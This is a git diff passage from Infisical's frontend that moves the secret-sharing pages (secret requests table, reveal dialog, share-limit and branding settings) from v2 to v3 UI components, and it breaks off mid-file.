-        <p className="text-xl font-medium text-mineshaft-100">Secret Requests</p>
-        <Button
-          colorSchema="primary"
-          leftIcon={<FontAwesomeIcon icon={faPlus} />}
-          onClick={() => {
-            handlePopUpOpen("createSecretRequest");
-          }}
-        >
-          Request Secret
-        </Button>
-      </div>
-      <RequestedSecretsTable handlePopUpOpen={handlePopUpOpen} />
+    <Card>
+      <CardHeader>
+        <CardTitle>
+          Secret Requests
+          <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/secret-sharing" />
+        </CardTitle>
+        <CardDescription>Request and manage secrets from your team</CardDescription>
+        <CardAction>
+          <Button
+            variant="org"
+            onClick={() => {
+              handlePopUpOpen("createSecretRequest");
+            }}
+          >
+            <ReplyIcon />
+            Request Secret
+          </Button>
+        </CardAction>
+      </CardHeader>
+      <CardContent>
+        <RequestedSecretsTable handlePopUpOpen={handlePopUpOpen} />
+      </CardContent>
       <AddSecretRequestModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
       <RevealSecretValueModal
         isOpen={popUp.revealSecretRequestValue.isOpen}
         popUp={popUp}
         onOpenChange={(isOpen) => handlePopUpToggle("revealSecretRequestValue", isOpen)}
       />
-      <DeleteActionModal
-        isOpen={popUp.deleteSecretRequestConfirmation.isOpen}
-        title={`Delete ${
-          (popUp?.deleteSecretRequestConfirmation?.data as DeleteModalData)?.name || " "
-        } secret request?`}
-        onChange={(isOpen) => handlePopUpToggle("deleteSecretRequestConfirmation", isOpen)}
-        deleteKey={(popUp?.deleteSecretRequestConfirmation?.data as DeleteModalData)?.name}
-        onClose={() => handlePopUpClose("deleteSecretRequestConfirmation")}
-        onDeleteApproved={onDeleteApproved}
-      />
-    </div>
+      <AlertDialog
+        open={popUp.deleteSecretRequestConfirmation.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("deleteSecretRequestConfirmation", isOpen)}
+      >
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogMedia>
+              <Trash2 />
+            </AlertDialogMedia>
+            <AlertDialogTitle>Delete secret request?</AlertDialogTitle>
+            <AlertDialogDescription>
+              This action cannot be undone. The secret request link will no longer be accessible.
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>Cancel</AlertDialogCancel>
+            <AlertDialogAction variant="danger" onClick={onDeleteApproved}>
+              Delete
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestedSecretsRow.tsx b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestedSecretsRow.tsx
index 4501e1659a8..5eb3b438853 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestedSecretsRow.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestedSecretsRow.tsx
@@ -1,10 +1,31 @@
-import { faCopy, faEye, faSpinner, faTrash } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { format } from "date-fns";
+import {
+  CheckIcon,
+  ClockAlertIcon,
+  Copy,
+  Ellipsis,
+  EyeIcon,
+  GlobeIcon,
+  HourglassIcon,
+  Trash2
+} from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
-import { IconButton, Td, Tooltip, Tr } from "@app/components/v2";
-import { Badge } from "@app/components/v3";
+import {
+  Badge,
+  Button,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
+  OrgIcon,
+  TableCell,
+  TableRow,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
 import {
   SecretSharingAccessType,
   TSharedSecret,
@@ -30,106 +51,104 @@ export const RequestedSecretsRow = ({
   }
 
   return (
-    <Tr key={row.id}>
-      <Td>{row.name ? `${row.name}` : "-"}</Td>
-      <Td>
+    <TableRow key={row.id}>
+      <TableCell isTruncatable>{row.name || <span className="text-muted">&mdash;</span>}</TableCell>
+      <TableCell>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <span>
+              <Badge
+                variant={row.accessType === SecretSharingAccessType.Anyone ? "neutral" : "org"}
+              >
+                {row.accessType === SecretSharingAccessType.Anyone ? <GlobeIcon /> : <OrgIcon />}
+                {row.accessType === SecretSharingAccessType.Anyone ? "Anyone" : "Organization"}
+              </Badge>
+            </span>
+          </TooltipTrigger>
+          <TooltipContent>
+            {row.accessType === SecretSharingAccessType.Anyone
+              ? "Anyone can input the secret."
+              : "Only members of the organization can input the secret."}
+          </TooltipContent>
+        </Tooltip>
+      </TableCell>
+      <TableCell>{format(new Date(row.createdAt), "MMM d, yyyy h:mm a")}</TableCell>
+      <TableCell>
+        {row.expiresAt ? (
+          format(new Date(row.expiresAt), "MMM d, yyyy h:mm a")
+        ) : (
+          <span className="text-muted">&mdash;</span>
+        )}
+      </TableCell>
+      <TableCell>
         {isExpired && !row.encryptedSecret ? (
-          <Badge variant="danger">Expired</Badge>
+          <Badge variant="danger">
+            <ClockAlertIcon />
+            Expired
+          </Badge>
         ) : (
           <Badge variant={row.encryptedSecret ? "success" : "warning"}>
+            {row.encryptedSecret ? <CheckIcon /> : <HourglassIcon />}
             {row.encryptedSecret ? "Secret Provided" : "Pending Secret"}
           </Badge>
         )}
-      </Td>
-      <Td>
-        <Tooltip
-          content={
-            row.accessType === SecretSharingAccessType.Anyone
-              ? "Anyone can input the secret."
-              : "Only members of the organization can input the secret."
-          }
-        >
-          <Badge variant="info">
-            {row.accessType === SecretSharingAccessType.Anyone ? "Anyone" : "Organization Members"}
-          </Badge>
-        </Tooltip>
-      </Td>
-      <Td>{`${format(new Date(row.createdAt), "yyyy-MM-dd - HH:mm a")}`}</Td>
-      <Td>{row.expiresAt ? format(new Date(row.expiresAt), "yyyy-MM-dd - HH:mm a") : "-"}</Td>
-      <Td>
-        <div className="flex items-center gap-2">
-          <Tooltip
-            content={
-              row.encryptedSecret
-                ? "Reveal secret"
-                : "Secret value must be provided before it can be viewed."
-            }
-          >
-            <IconButton
-              isDisabled={!row.encryptedSecret}
-              className={row.encryptedSecret ? "" : "opacity-50"}
-              onClick={async (e) => {
-                e.stopPropagation();
-
-                const secretRequest = await revealSecretValue({
-                  id: row.id
-                });
-
+      </TableCell>
+      <TableCell>
+        <div className="flex items-center justify-end gap-x-4">
+          {row.encryptedSecret && (
+            <Button
+              onClick={async () => {
+                const secretRequest = await revealSecretValue({ id: row.id });
                 handlePopUpOpen("revealSecretRequestValue", {
                   secretValue: secretRequest.secretValue,
                   secretRequestName: secretRequest.name
                 });
               }}
-              variant="plain"
-              ariaLabel="reveal"
-            >
-              <FontAwesomeIcon
-                className={isPending ? "animate-spin" : ""}
-                icon={!isPending ? faEye : faSpinner}
-              />
-            </IconButton>
-          </Tooltip>
-
-          <Tooltip content="Copy link">
-            <IconButton
-              isDisabled={Boolean(row.encryptedSecret) || isExpired}
-              className={Boolean(row.encryptedSecret) || isExpired ? "opacity-50" : ""}
-              onClick={async (e) => {
-                e.stopPropagation();
-
-                navigator.clipboard.writeText(
-                  `${window.location.origin}/secret-request/secret/${row.id}`
-                );
-
-                createNotification({
-                  text: "Shared secret link copied to clipboard.",
-                  type: "success"
-                });
-              }}
-              variant="plain"
-              ariaLabel="copy link"
-            >
-              <FontAwesomeIcon icon={faCopy} />
-            </IconButton>
-          </Tooltip>
-
-          <Tooltip content="Delete">
-            <IconButton
-              onClick={(e) => {
-                e.stopPropagation();
-                handlePopUpOpen("deleteSecretRequestConfirmation", {
-                  name: "delete",
-                  id: row.id
-                });
-              }}
-              variant="plain"
-              ariaLabel="delete"
+              isPending={isPending}
+              variant="ghost"
+              size="xs"
             >
-              <FontAwesomeIcon icon={faTrash} />
-            </IconButton>
-          </Tooltip>
+              <EyeIcon /> Reveal Secret
+            </Button>
+          )}
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
+              <IconButton className="ml-auto" variant="ghost" size="xs" aria-label="actions">
+                <Ellipsis className="size-4" />
+              </IconButton>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end">
+              <DropdownMenuItem
+                isDisabled={Boolean(row.encryptedSecret) || isExpired}
+                onClick={() => {
+                  navigator.clipboard.writeText(
+                    `${window.location.origin}/secret-request/secret/${row.id}`
+                  );
+                  createNotification({
+                    text: "Shared secret link copied to clipboard.",
+                    type: "success"
+                  });
+                }}
+              >
+                <Copy />
+                Copy Link
+              </DropdownMenuItem>
+              <DropdownMenuItem
+                variant="danger"
+                onClick={() =>
+                  handlePopUpOpen("deleteSecretRequestConfirmation", {
+                    name: "delete",
+                    id: row.id
+                  })
+                }
+              >
+                <Trash2 />
+                Delete
+              </DropdownMenuItem>
+            </DropdownMenuContent>
+          </DropdownMenu>
         </div>
-      </Td>
-    </Tr>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestedSecretsTable.tsx b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestedSecretsTable.tsx
index 5e9edca7b03..c8ce8ed0f23 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestedSecretsTable.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestedSecretsTable.tsx
@@ -1,17 +1,18 @@
 import { useState } from "react";
-import { faKey } from "@fortawesome/free-solid-svg-icons";
 
 import {
-  EmptyState,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
   Pagination,
+  Skeleton,
   Table,
-  TableContainer,
-  TableSkeleton,
-  TBody,
-  Th,
-  THead,
-  Tr
-} from "@app/components/v2";
+  TableBody,
+  TableHead,
+  TableHeader,
+  TableRow
+} from "@app/components/v3";
 import { useGetSecretRequests } from "@app/hooks/api/secretSharing";
 import { UsePopUpState } from "@app/hooks/usePopUp";
 
@@ -31,42 +32,60 @@ export const RequestedSecretsTable = ({ handlePopUpOpen }: Props) => {
     offset: (page - 1) * perPage,
     limit: perPage
   });
+
+  const hasSecrets = !isPending && data?.secrets && data.secrets.length > 0;
+
   return (
-    <TableContainer>
-      <Table>
-        <THead>
-          <Tr>
-            <Th>Name</Th>
-            <Th>Status</Th>
-            <Th>Access Type</Th>
-            <Th>Created At</Th>
-            <Th>Valid Until</Th>
-            <Th aria-label="button" className="w-5" />
-          </Tr>
-        </THead>
-        <TBody>
-          {isPending && <TableSkeleton columns={7} innerKey="shared-secrets" />}
-          {!isPending &&
-            data?.secrets?.map((row) => (
-              <RequestedSecretsRow key={row.id} row={row} handlePopUpOpen={handlePopUpOpen} />
-            ))}
-        </TBody>
-      </Table>
-      {!isPending &&
-        data?.secrets &&
-        data?.totalCount >= perPage &&
-        data?.totalCount !== undefined && (
-          <Pagination
-            count={data.totalCount}
-            page={page}
-            perPage={perPage}
-            onChangePage={(newPage) => setPage(newPage)}
-            onChangePerPage={(newPerPage) => setPerPage(newPerPage)}
-          />
-        )}
+    <div>
+      {(isPending || hasSecrets) && (
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead className="w-1/4">Name</TableHead>
+              <TableHead>Access Type</TableHead>
+              <TableHead>Created</TableHead>
+              <TableHead>Expires</TableHead>
+              <TableHead>Status</TableHead>
+              <TableHead aria-label="button" className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
+            {isPending &&
+              Array.from({ length: 5 }).map((_, i) => (
+                // eslint-disable-next-line react/no-array-index-key
+                <TableRow key={`skeleton-${i}`}>
+                  {Array.from({ length: 6 }).map((__, j) => (
+                    // eslint-disable-next-line react/no-array-index-key
+                    <td key={`skeleton-cell-${j}`} className="px-3 py-3">
+                      <Skeleton className="h-4 w-full" />
+                    </td>
+                  ))}
+                </TableRow>
+              ))}
+            {hasSecrets &&
+              data.secrets.map((row) => (
+                <RequestedSecretsRow key={row.id} row={row} handlePopUpOpen={handlePopUpOpen} />
+              ))}
+          </TableBody>
+        </Table>
+      )}
+      {hasSecrets && data.totalCount >= perPage && data.totalCount !== undefined && (
+        <Pagination
+          count={data.totalCount}
+          page={page}
+          perPage={perPage}
+          onChangePage={(newPage) => setPage(newPage)}
+          onChangePerPage={(newPerPage) => setPerPage(newPerPage)}
+        />
+      )}
       {!isPending && !data?.secrets?.length && (
-        <EmptyState title="No secrets requested yet" icon={faKey} />
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>No secrets requested yet</EmptyTitle>
+            <EmptyDescription>Request a secret to get started</EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       )}
-    </TableContainer>
+    </div>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RevealSecretValueModal.tsx b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RevealSecretValueModal.tsx
index 5aa529e77b9..1c535390687 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RevealSecretValueModal.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RevealSecretValueModal.tsx
@@ -1,7 +1,17 @@
-import { faCheck, faCopy } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { ClipboardCheckIcon, Copy } from "lucide-react";
 
-import { Button, IconButton, Modal, ModalClose, ModalContent, Tooltip } from "@app/components/v2";
+import {
+  Button,
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+  IconButton,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
 import { useToggle } from "@app/hooks";
 import { UsePopUpState } from "@app/hooks/usePopUp";
 
@@ -13,41 +23,43 @@ type Props = {
 
 type ContentProps = {
   secretValue: string;
-  secretRequestName?: string;
+  onClose: () => void;
 };
 
-const Content = ({ secretValue, secretRequestName }: ContentProps) => {
+const Content = ({ secretValue, onClose }: ContentProps) => {
   const [isSecretValueCopied, setIsSecretValueCopied] = useToggle(false);
 
   return (
     <>
-      {secretRequestName && (
-        <p className="mb-8 text-sm text-mineshaft-200">
-          Shared secret value for <strong>{secretRequestName}</strong>
-        </p>
-      )}
-
-      <div className="mb-8 flex items-center justify-between rounded-md bg-mineshaft-700 p-2 text-base text-gray-400">
+      <div className="relative flex items-center justify-between rounded-md border border-border bg-container p-2 pr-5 pl-3 text-base text-label">
         <p className="mr-4 break-all">{secretValue}</p>
-        <Tooltip content="Click to copy">
-          <IconButton
-            ariaLabel="copy icon"
-            colorSchema="secondary"
-            className="group relative"
-            onClick={() => {
-              navigator.clipboard.writeText(secretValue);
-              setIsSecretValueCopied.on();
-            }}
-          >
-            <FontAwesomeIcon icon={isSecretValueCopied ? faCheck : faCopy} />
-          </IconButton>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <IconButton
+              aria-label="copy icon"
+              variant="ghost"
+              size="sm"
+              className="absolute top-1 right-1"
+              onClick={() => {
+                navigator.clipboard.writeText(secretValue);
+                setIsSecretValueCopied.on();
+              }}
+            >
+              {isSecretValueCopied ? (
+                <ClipboardCheckIcon className="size-4" />
+              ) : (
+                <Copy className="size-4" />
+              )}
+            </IconButton>
+          </TooltipTrigger>
+          <TooltipContent>Click to copy</TooltipContent>
         </Tooltip>
       </div>
 
-      <div className="mt-8 flex w-full items-center justify-between gap-2">
-        <ModalClose asChild>
-          <Button colorSchema="secondary">Close</Button>
-        </ModalClose>
+      <div className="flex w-full justify-end">
+        <Button variant="outline" onClick={onClose}>
+          Close
+        </Button>
       </div>
     </>
   );
@@ -58,16 +70,19 @@ export const RevealSecretValueModal = ({ isOpen, onOpenChange, popUp }: Props) =
     secretValue: string;
     secretRequestName?: string;
   };
-
-  const title = data?.secretRequestName
-    ? `Shared secret value for secret request ${data.secretRequestName}`
-    : "Shared secret value";
-
   return (
-    <Modal isOpen={isOpen} onOpenChange={onOpenChange}>
-      <ModalContent title={title}>
-        <Content secretRequestName={data?.secretRequestName} secretValue={data?.secretValue} />
-      </ModalContent>
-    </Modal>
+    <Dialog open={isOpen} onOpenChange={onOpenChange}>
+      <DialogContent className="max-w-xl">
+        <DialogHeader>
+          <DialogTitle>Shared secret value</DialogTitle>
+          {data?.secretRequestName && (
+            <DialogDescription>
+              Shared secret value for secret request {data.secretRequestName}
+            </DialogDescription>
+          )}
+        </DialogHeader>
+        <Content secretValue={data?.secretValue} onClose={() => onOpenChange?.(false)} />
+      </DialogContent>
+    </Dialog>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/OrgSecretShareLimitSection.tsx b/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/OrgSecretShareLimitSection.tsx
index d7c3373322e..d0ed9960ab7 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/OrgSecretShareLimitSection.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/OrgSecretShareLimitSection.tsx
@@ -1,12 +1,32 @@
 import { useEffect } from "react";
 import { Controller, useForm } from "react-hook-form";
 import { zodResolver } from "@hookform/resolvers/zod";
+import { Info } from "lucide-react";
 import ms from "ms";
 import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
 import { OrgPermissionCan } from "@app/components/permissions";
-import { Button, FormControl, Input, Select, SelectItem } from "@app/components/v2";
+import {
+  Button,
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Field,
+  FieldError,
+  FieldLabel,
+  Input,
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
 import { OrgPermissionActions, OrgPermissionSubjects, useOrganization } from "@app/context";
 import { getObjectFromSeconds } from "@app/helpers/datetime";
 import { useUpdateOrg } from "@app/hooks/api";
@@ -107,7 +127,6 @@ export const OrgSecretShareLimitSection = () => {
     reset(formData);
   };
 
-  // Units for the dropdown with readable labels
   const timeUnits = [
     { value: "m", label: "Minutes" },
     { value: "h", label: "Hours" },
@@ -115,143 +134,151 @@ export const OrgSecretShareLimitSection = () => {
   ];
 
   return (
-    <div className="mb-4 rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
-      <div className="flex w-full items-center justify-between">
-        <p className="text-xl font-medium">Secret Share Limits</p>
-      </div>
-      <p className="mt-2 mb-4 text-sm text-gray-400">
-        These settings establish the maximum limits for all Shared Secret parameters within this
-        organization. Shared secrets cannot be created with values exceeding these limits.
-      </p>
-      <OrgPermissionCan I={OrgPermissionActions.Edit} a={OrgPermissionSubjects.Settings}>
-        {(isAllowed) => (
-          <form onSubmit={handleSubmit(handleFormSubmit)} autoComplete="off">
-            <div className="flex max-w-sm gap-4">
-              <Controller
-                control={control}
-                name="maxLifetimeValue"
-                render={({ field, fieldState: { error } }) => (
-                  <FormControl
-                    isError={Boolean(error)}
-                    errorText={error?.message}
-                    tooltipText="The max amount of time that can be set before the secret share link expires."
-                    label="Max Lifetime"
-                    className="w-full"
-                  >
-                    <Input
-                      {...field}
-                      type="number"
-                      min={1}
-                      step={1}
-                      value={field.value}
-                      onChange={(e) => {
-                        const val = e.target.value;
-                        field.onChange(val === "" ? "" : parseInt(val, 10));
-                      }}
-                      disabled={!isAllowed}
-                    />
-                  </FormControl>
-                )}
-              />
-              <Controller
-                control={control}
-                name="maxLifetimeUnit"
-                render={({ field, fieldState: { error } }) => (
-                  <FormControl
-                    isError={Boolean(error)}
-                    errorText={error?.message}
-                    label="Time unit"
-                  >
-                    <Select
-                      value={field.value}
-                      className="pr-2"
-                      onValueChange={field.onChange}
-                      placeholder="Select time unit"
-                      isDisabled={!isAllowed}
-                    >
-                      {timeUnits.map(({ value, label }) => (
-                        <SelectItem
-                          key={value}
-                          value={value}
-                          className="relative py-2 pr-8 pl-6 text-sm hover:bg-mineshaft-700"
-                        >
-                          <div className="ml-3 font-medium">{label}</div>
-                        </SelectItem>
-                      ))}
-                    </Select>
-                  </FormControl>
-                )}
-              />
-            </div>
-            <div className="flex max-w-sm items-end gap-2">
-              <Controller
-                control={control}
-                name="shouldLimitView"
-                render={({ field: { onChange, value, ...field }, fieldState: { error } }) => (
-                  <FormControl
-                    label="Max Views"
-                    errorText={error?.message}
-                    isError={Boolean(error)}
-                    className="w-48"
-                  >
-                    <Select
-                      defaultValue={value.toString()}
-                      value={value.toString()}
-                      onValueChange={(e) => onChange(e === "true")}
-                      className="w-full"
-                      position="popper"
-                      dropdownContainerClassName="max-w-none"
-                      isDisabled={!isAllowed}
-                      {...field}
-                    >
-                      {viewLimitOptions.map(({ label, value: viewLimitValue }) => (
-                        <SelectItem
-                          value={viewLimitValue.toString()}
-                          key={viewLimitValue.toString()}
-                        >
-                          {label}
-                        </SelectItem>
-                      ))}
-                    </Select>
-                  </FormControl>
-                )}
-              />
-              {shouldLimitView && (
+    <Card>
+      <CardHeader>
+        <CardTitle>Secret Share Limits</CardTitle>
+        <CardDescription>
+          These settings establish the maximum limits for all Shared Secret parameters within this
+          organization. Shared secrets cannot be created with values exceeding these limits.
+        </CardDescription>
+      </CardHeader>
+      <CardContent>
+        <OrgPermissionCan I={OrgPermissionActions.Edit} a={OrgPermissionSubjects.Settings}>
+          {(isAllowed) => (
+            <form
+              onSubmit={handleSubmit(handleFormSubmit)}
+              autoComplete="off"
+              className="flex flex-col gap-4"
+            >
+              <div className="flex max-w-sm gap-4">
                 <Controller
                   control={control}
-                  name="maxViewLimit"
-                  render={({ field: { onChange, value, ...field }, fieldState: { error } }) => (
-                    <FormControl
-                      errorText={error?.message}
-                      isError={Boolean(error)}
-                      className="w-48"
-                    >
+                  name="maxLifetimeValue"
+                  render={({ field, fieldState: { error } }) => (
+                    <Field className="w-full">
+                      <FieldLabel>
+                        Max Lifetime
+                        <Tooltip>
+                          <TooltipTrigger asChild>
+                            <Info className="size-3 cursor-help text-muted" />
+                          </TooltipTrigger>
+                          <TooltipContent className="max-w-xs">
+                            The max amount of time that can be set before the secret share link
+                            expires.
+                          </TooltipContent>
+                        </Tooltip>
+                      </FieldLabel>
                       <Input
-                        value={value}
-                        onChange={onChange}
                         {...field}
-                        min={1}
-                        max={1000}
                         type="number"
-                        isDisabled={!isAllowed}
+                        min={1}
+                        step={1}
+                        value={field.value}
+                        onChange={(e) => {
+                          const val = e.target.value;
+                          field.onChange(val === "" ? "" : parseInt(val, 10));
+                        }}
+                        disabled={!isAllowed}
+                        isError={Boolean(error)}
                       />
-                    </FormControl>
+                      {error && <FieldError>{error.message}</FieldError>}
+                    </Field>
                   )}
                 />
-              )}
-            </div>
-            <Button
-              colorSchema="secondary"
-              type="submit"
-              isLoading={isSubmitting}
-              disabled={!isDirty || !isAllowed}
-              className="mt-4"
-            >
-              Save
-            </Button>
-          </form>
-        )}
-      </OrgPermissionCan>
-    </div>
+                <Controller
+                  control={control}
+                  name="maxLifetimeUnit"
+                  render={({ field, fieldState: { error } }) => (
+                    <Field>
+                      <FieldLabel>Time unit</FieldLabel>
+                      <Select
+                        value={field.value}
+                        onValueChange={field.onChange}
+                        disabled={!isAllowed}
+                      >
+                        <SelectTrigger>
+                          <SelectValue placeholder="Select time unit" />
+                        </SelectTrigger>
+                        <SelectContent>
+                          {timeUnits.map(({ value, label }) => (
+                            <SelectItem key={value} value={value}>
+                              {label}
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
+                      {error && <FieldError>{error.message}</FieldError>}
+                    </Field>
+                  )}
+                />
+              </div>
+              <div className="flex max-w-sm items-end gap-2">
+                <Controller
+                  control={control}
+                  name="shouldLimitView"
+                  render={({ field: { onChange, value, ...field }, fieldState: { error } }) => (
+                    <Field className="w-48">
+                      <FieldLabel>Max Views</FieldLabel>
+                      <Select
+                        value={value.toString()}
+                        onValueChange={(e) => onChange(e === "true")}
+                        disabled={!isAllowed}
+                        {...field}
+                      >
+                        <SelectTrigger className="w-full">
+                          <SelectValue />
+                        </SelectTrigger>
+                        <SelectContent>
+                          {viewLimitOptions.map(({ label, value: viewLimitValue }) => (
+                            <SelectItem
+                              value={viewLimitValue.toString()}
+                              key={viewLimitValue.toString()}
+                            >
+                              {label}
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
+                      {error && <FieldError>{error.message}</FieldError>}
+                    </Field>
+                  )}
+                />
+                {shouldLimitView && (
+                  <Controller
+                    control={control}
+                    name="maxViewLimit"
+                    render={({ field: { onChange, value, ...field }, fieldState: { error } }) => (
+                      <Field className="w-48">
+                        <Input
+                          value={value}
+                          onChange={onChange}
+                          {...field}
+                          min={1}
+                          max={1000}
+                          type="number"
+                          disabled={!isAllowed}
+                          isError={Boolean(error)}
+                        />
+                        {error && <FieldError>{error.message}</FieldError>}
+                      </Field>
+                    )}
+                  />
+                )}
+              </div>
+              <div>
+                <Button
+                  variant={!isDirty || !isAllowed ? "outline" : "org"}
+                  type="submit"
+                  isPending={isSubmitting}
+                  isDisabled={!isDirty || !isAllowed}
+                >
+                  Save
+                </Button>
+              </div>
+            </form>
+          )}
+        </OrgPermissionCan>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingAllowShareToAnyone.tsx b/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingAllowShareToAnyone.tsx
index 4a42d89a237..031d1cf127f 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingAllowShareToAnyone.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingAllowShareToAnyone.tsx
@@ -1,6 +1,13 @@
 import { createNotification } from "@app/components/notifications";
 import { OrgPermissionCan } from "@app/components/permissions";
-import { Switch } from "@app/components/v2";
+import {
+  Card,
+  CardAction,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Switch
+} from "@app/components/v3";
 import { OrgPermissionActions, OrgPermissionSubjects, useOrganization } from "@app/context";
 import { useUpdateOrg } from "@app/hooks/api";
 
@@ -23,26 +30,29 @@ export const SecretSharingAllowShareToAnyone = () => {
   };
 
   return (
-    <div className="mb-4 rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
-      <div className="mb-2 flex justify-between">
-        <h3 className="text-md text-mineshaft-100">
+    <Card>
+      <CardHeader>
+        <CardTitle className="flex items-center justify-between">
           Allow sharing secrets to members outside of this organization
-        </h3>
-        <OrgPermissionCan I={OrgPermissionActions.Edit} a={OrgPermissionSubjects.Settings}>
-          {(isAllowed) => (
-            <Switch
-              id="enable-secret-sharing-outside-org"
-              onCheckedChange={(value) => handleSecretSharingToggle(value)}
-              isChecked={currentOrg?.allowSecretSharingOutsideOrganization ?? false}
-              isDisabled={!isAllowed}
-            />
-          )}
-        </OrgPermissionCan>
-      </div>
-      <p className="text-sm text-mineshaft-300">
-        If enabled, team members will be able to share secrets to members outside of this
-        organization
-      </p>
-    </div>
+        </CardTitle>
+        <CardDescription>
+          If enabled, team members will be able to share secrets to members outside of this
+          organization
+        </CardDescription>
+        <CardAction>
+          <OrgPermissionCan I={OrgPermissionActions.Edit} a={OrgPermissionSubjects.Settings}>
+            {(isAllowed) => (
+              <Switch
+                variant="org"
+                id="enable-secret-sharing-outside-org"
+                onCheckedChange={(value) => handleSecretSharingToggle(value)}
+                checked={currentOrg?.allowSecretSharingOutsideOrganization ?? false}
+                disabled={!isAllowed}
+              />
+            )}
+          </OrgPermissionCan>
+        </CardAction>
+      </CardHeader>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingBrandingSection.tsx b/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingBrandingSection.tsx
index a17dfbbcda6..e1111edc7d0 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingBrandingSection.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingBrandingSection.tsx
@@ -1,13 +1,37 @@
 import { useEffect, useRef, useState } from "react";
 import { Controller, useForm } from "react-hook-form";
 import { zodResolver } from "@hookform/resolvers/zod";
-import { LockIcon, TrashIcon, UploadIcon } from "lucide-react";
+import { InfoIcon, LockIcon, Trash2, UploadIcon } from "lucide-react";
 import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
 import { OrgPermissionCan } from "@app/components/permissions";
-import { Button, DeleteActionModal, FormControl, Input } from "@app/components/v2";
-import { Badge, Button as ButtonV3 } from "@app/components/v3";
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogMedia,
+  AlertDialogTitle,
+  Badge,
+  Button,
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  ColorPicker,
+  Field,
+  FieldError,
+  FieldLabel,
+  Skeleton,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
 import { apiRequest } from "@app/config/request";
 import {
   OrgPermissionActions,
@@ -24,15 +48,8 @@ import {
 
 const hexColorRegex = /^#[0-9A-Fa-f]{6}$/;
 const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB
-const ALLOWED_FILE_TYPES = [
-  "image/png",
-  "image/jpeg",
-  "image/gif",
-  "image/svg+xml",
-  "image/x-icon",
-  "image/vnd.microsoft.icon",
-  "image/webp"
-];
+const ALLOWED_FILE_TYPES = ["image/png", "image/jpeg"];
+const ACCEPTED_FORMATS_LABEL = "PNG or JPEG";
 
 const formSchema = z.object({
   primaryColor: z
